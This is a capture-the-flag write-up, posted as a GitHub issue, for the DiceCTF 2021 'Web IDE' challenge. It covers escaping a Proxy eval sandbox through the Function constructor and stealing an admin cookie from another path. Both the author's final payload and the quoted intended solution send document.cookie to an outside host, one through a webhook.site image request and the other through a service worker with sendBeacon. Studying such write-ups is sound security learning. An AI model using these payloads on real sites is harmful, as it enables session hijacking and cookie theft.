Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DiceCTF 2021 - Web IDE #19

Open
aszx87410 opened this issue Feb 8, 2021 · 2 comments
Open

DiceCTF 2021 - Web IDE #19

aszx87410 opened this issue Feb 8, 2021 · 2 comments
Labels

Comments

@aszx87410
Copy link
Owner

It's like a Web IDE, you can write code on the UI and see the result:

Source code is available:

const express = require('express');
const crypto = require('crypto');
const app = express();

const adminPassword = crypto.randomBytes(16).toString('hex');

const bodyParser = require('body-parser');

app.use(require('cookie-parser')());

// don't let people iframe
app.use('/', (req, res, next) => {
  res.setHeader('X-Frame-Options', 'DENY');
  return next();
});

// sandbox the sandbox
app.use('/sandbox.html', (req, res, next) => {
  res.setHeader('Content-Security-Policy', 'frame-src \'none\'');
  // we have to allow this for obvious reasons
  res.removeHeader('X-Frame-Options');
  return next();
});

// serve static files
app.use(express.static('public/root'));
app.use('/login', express.static('public/login'));

// handle login endpoint
app.use('/ide/login', bodyParser.urlencoded({ extended: false }));

app.post('/ide/login', (req, res) => {
  const { user, password } = req.body;
  switch (user) {
  case 'guest':
    return res.cookie('token', 'guest', {
      path: '/ide',
      sameSite: 'none',
      secure: true
    }).redirect('/ide/');
  case 'admin':
    if (password === adminPassword)
      return res.cookie('token', `dice{${process.env.FLAG}}`, {
        path: '/ide',
        sameSite: 'none',
        secure: true
      }).redirect('/ide/');
    break;
  }
  res.status(401).end();
});

// handle file saving
app.use('/ide/save', bodyParser.raw({
  extended: false,
  limit: '32kb',
  type: 'application/javascript'
}));

const files = new Map();
app.post('/ide/save', (req, res) => {
  // only admins can save files
  if (req.cookies.token !== `dice{${process.env.FLAG}}`)
    return res.status(401).end();
  const data = req.body;
  const id = `${crypto.randomBytes(8).toString('hex')}.js`;
  files.set(id, data);
  res.type('text/plain').send(id).end();
});

app.get('/ide/saves/:id', (req, res) => {
  // only admins can view files
  if (req.cookies.token !== `dice{${process.env.FLAG}}`)
    return res.status(401).end();
  const data = files.get(req.params.id);
  if (!data) return res.status(404).end();
  res.type('application/javascript').send(data).end();
});

// serve static files at ide, but auth first
app.use('/ide', (req, res, next) => {
  switch (req.cookies.token) {
  case 'guest':
    return next();
  case `dice{${process.env.FLAG}}`:
    return next();
  default:
    return res.redirect('/login');
  }
});

app.use('/ide', express.static('public/ide'));

app.listen(3000);

The goal is to steal admin's cookie, so it's another XSS challenge!

First, we need to know how this web IDE works.

It's the ide html source code:

<!doctype html>
<html>
  <head>
    <title>Web IDE</title>
    <link rel="stylesheet" href="src/styles.css"/>
    <script src="src/index.js"></script>
  </head>
  <body>
    <div id="editor">
      <textarea>console.log('Hello World!');</textarea>
      <iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
      <br />
      <button id="run">Run Code</button>
      <button id="save">Save Code (Admin Only)</button>
    </div>
  </body>
</html>

And src/index.js

(async () => {

  await new Promise((r) => { window.addEventListener(('load'), r); });

  document.getElementById('run').addEventListener('click', () => {
    document.querySelector('iframe')
      .contentWindow
      .postMessage(document.querySelector('textarea').value, '*');
  });

  document.getElementById('save').addEventListener('click', async () => {
    const response = await fetch('/ide/save', {
      method: 'POST',
      body: document.querySelector('textarea').value,
      headers: {
        'Content-Type': 'application/javascript'
      }
    });
    if (response.status === 200) {
      window.location = `/ide/saves/${await response.text()}`;
      return;
    }
    alert('You are not an admin.');
  });

})();

When user clicks "Run Code", it postMessage to the iframe sandbox.html, that's all.

Then, we need to check sandbox.html:

<!doctype html>
<html>
  <head>
    <script src="src/sandbox.js"></script>
    <link rel="stylesheet" href="src/styles.css"/>
  </head>
  <body id="sandbox">
  </body>
</html>

src/sandbox.js

(async () => {

  await new Promise((r) => { window.addEventListener(('load'), r); });

  const log = (data) => {
    const element = document.createElement('p');
    element.textContent = data.toString();
    document.querySelector('div').appendChild(element);
    window.scrollTo(0, document.body.scrollHeight);
  };

  const safeEval = (d) => (function (data) {
    with (new Proxy(window, {
      get: (t, p) => {
        if (p === 'console') return { log };
        if (p === 'eval') return window.eval;
        return undefined;
      }
    })) {
      eval(data);
    }
  }).call(Object.create(null), d);

  window.addEventListener('message', (event) => {
    const div = document.querySelector('div');
    if (div) document.body.removeChild(div);
    document.body.appendChild(document.createElement('div'));
    try {
      safeEval(event.data);
    } catch (e) {
      log(e);
    }
  });

})();

It listens to window.message event and pass the data to safeEval. It's wrapped in a Proxy so only window.console and window.eval are available.

We can see result at right side because it overrides console.log.

The first thing we need to bypass is the window proxy.

From what I know, there are couple of ways to execute arbitrary js:

  1. window.eval
  2. window.location + javascript pseudo protocol(javascript:)
  3. window.setTimeout and window.setInterval
  4. function constructor

We can choose the one without accessing window: function constructor!

([].map.constructor('alert(1)'))()

We can host our own html file and embed sandbox.html as iframe. Then we can post message to this iframe to do XSS.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
    <iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
    <script>
      function run() {
        window.frames.f.postMessage(`([].map.constructor('alert(1)'))()
        `, '*')
      }
    </script>
</body>

</html>

Replace alert(1) with alert(document.cookie), we can see the cookie:

Wait, where is the cookie?

I checked the source code again and found this:

app.post('/ide/login', (req, res) => {
  const { user, password } = req.body;
  switch (user) {
  case 'guest':
    return res.cookie('token', 'guest', {
      path: '/ide',
      sameSite: 'none',
      secure: true
    }).redirect('/ide/');
  case 'admin':
    if (password === adminPassword)
      return res.cookie('token', `dice{${process.env.FLAG}}`, {
        path: '/ide',
        sameSite: 'none',
        secure: true
      }).redirect('/ide/');
    break;
  }
  res.status(401).end();
});

The cookie has path: /ide but the path of sandbox.html is /, so we can't get cookie from /sandbox.html

I have tried couple of ways but none of them work, like:

  1. Change /sandbox.html to /ide/..%2fsandbox.html but script won't load
  2. Try to use iframe with src /ide but it fails because of X-Frame-Options
  3. Change location to /ide and alert document.cookie again

I also tried to google the keyword like: get subpath cookie ctf or get another path cookie but still can't find any useful resource.

Suddenly, I have an idea about window.open

The return value of the window.open is the window of the new tab. So if we can access this window object, maybe newWindow.document.cookie works?

So I tried this:

var w1 = window.open('https://web-ide.dicec.tf/ide')

// wait for window loaded
setTimeout(() => {
  alert(w1.document.cookie)
}, 2000)

To my surprise, it works!

I checked the mdn, it seems we can get window as long as it's same origin.

Combined with the function constructor, here is the final payload(I formatted it a bit for readability):

<!DOCTYPE html>
<html>
<head>

</head>
<body>
    <iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
    <script>
      function run() {
        window.frames.f.postMessage(
          `([].map.constructor('
              var w1=window.open("https://web-ide.dicec.tf/ide");
              setTimeout(()=>{
                var c=document.createElement("img");
                c.src="https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c=1"+w1.document.cookie;
                document.body.appendChild(c)
              }, 2000)
            '))()`
          , '*'
        )
      }
    </script>
</body>

</html>

After host this file and send the link to admin bot, we can get the flag.

@aszx87410
Copy link
Owner Author

Update:

The intended solution from author Ailuropoda Melanoleuca:
https://discord.com/channels/805956008665022475/808122408019165204/808143656946368512

<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe>
<script>
f.addEventListener('load', () => {
  f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", {
  "headers": {
    "content-type": "application/javascript",
  },
  "body": "self.addEventListener('fetch', e=>{if (e.request.method != 'GET') {return;} e.respondWith(new Response('<script>navigator.sendBeacon(\\\\'CALLBACK URL HERE\\\\', document.cookie)</sc'+'ript>',{headers:{\\'content-type\\':\\'text/html\\'}}));});",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(response=>response.text()).then(path=>{[].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, {scope: '/ide/saves/'})});`, '*');
setTimeout(() => {location = 'https://web-ide.dicec.tf/ide/saves/'}, 1000)
})
</script>

Use service worker + navigator.sendBeacon, amazing

@aszx87410
Copy link
Owner Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant